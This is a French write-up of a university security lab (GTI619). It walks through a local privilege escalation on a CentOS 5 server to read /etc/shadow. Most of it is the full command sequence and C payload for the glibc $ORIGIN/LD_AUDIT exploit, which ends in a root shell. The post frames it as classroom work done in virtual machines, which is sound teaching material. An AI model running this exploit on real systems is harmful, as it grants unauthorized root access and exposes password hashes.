Aventures de GTI619

Lors de notre quatrième laboratoire de GTI619, une des dernières questions était de retrouver la liste des comptes utilisateurs valides pour un serveur linux (le fameux /etc/passwd), et en bonus, de retrouver le mot de passe hashé de ces utilisateurs (/etc/shadow).

Trouver la liste des comptes utilisateurs était plutôt simple, car nous avions déjà un accès en terminal à ce serveur (le fichier /etc/passwd est permis en lecture pour tous). Le vrai défi était d'avoir accès au fichier contenant les mots de passe au format hashé.

Il a donc fallu trouver une façon d'obtenir un accès root à ce serveur (privilege escalation). Voici comment nous avons procédé (sommairement).

Au premier coup d'oeil, le serveur semblait tourner CentOS 5.X.

Attention !

Les manipulations décrites dans cet article ne devraient jamais être exécutées dans des environnements réels. L'information est présentée à titre éducationnel. Tous les tests ont été exécutés dans des environnements virtuels et contrôlés, dans le cadre du cours GTI619.

Procédure

Premièrement, on créer un répertoire dans un endroit où nous avons plein accès, /tmp par exemple,

mkdir /tmp/exploit

Ensuite, on lie un binaire suid ce qui change donc la définition de $ORIGIN,

ln /bin/ping /tmp/exploit/target

On ouvre un file descriptor vers le fichier binaire,

exec 3< /tmp/exploit/target

Ce descripteur est désormais accessible via /proc,

ls -l /proc/$$/fd/3
lr-x------ 1 user user 64 Oct 28 14:21 /proc/10836/fd/3 -> /tmp/exploit/target*

On supprime le dossier précédemment créé,

rm -rf /tmp/exploit/

Le lien dans /proc devrait normalement toujours exister, mais il devrait être marqué comme (deleted),

ls -l /proc/$$/fd/3
lr-x------ 1 user user 64 Oct 28 14:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

On remplace le dossier par un payload DSO, ce qui rendra $ORIGIN comme cible valide pour dlopen();,

$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}

On compile,

gcc -w -fPIC -shared -o /tmp/exploit payload.c
ls -l /tmp/exploit
-rwxrwx--- 1 user user 4.2K Oct 28 14:22 /tmp/exploit*

Il ne reste plus qu'à forcer le lien dans /proc pour charger $ORIGIN à travers LD_AUDIT,

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root)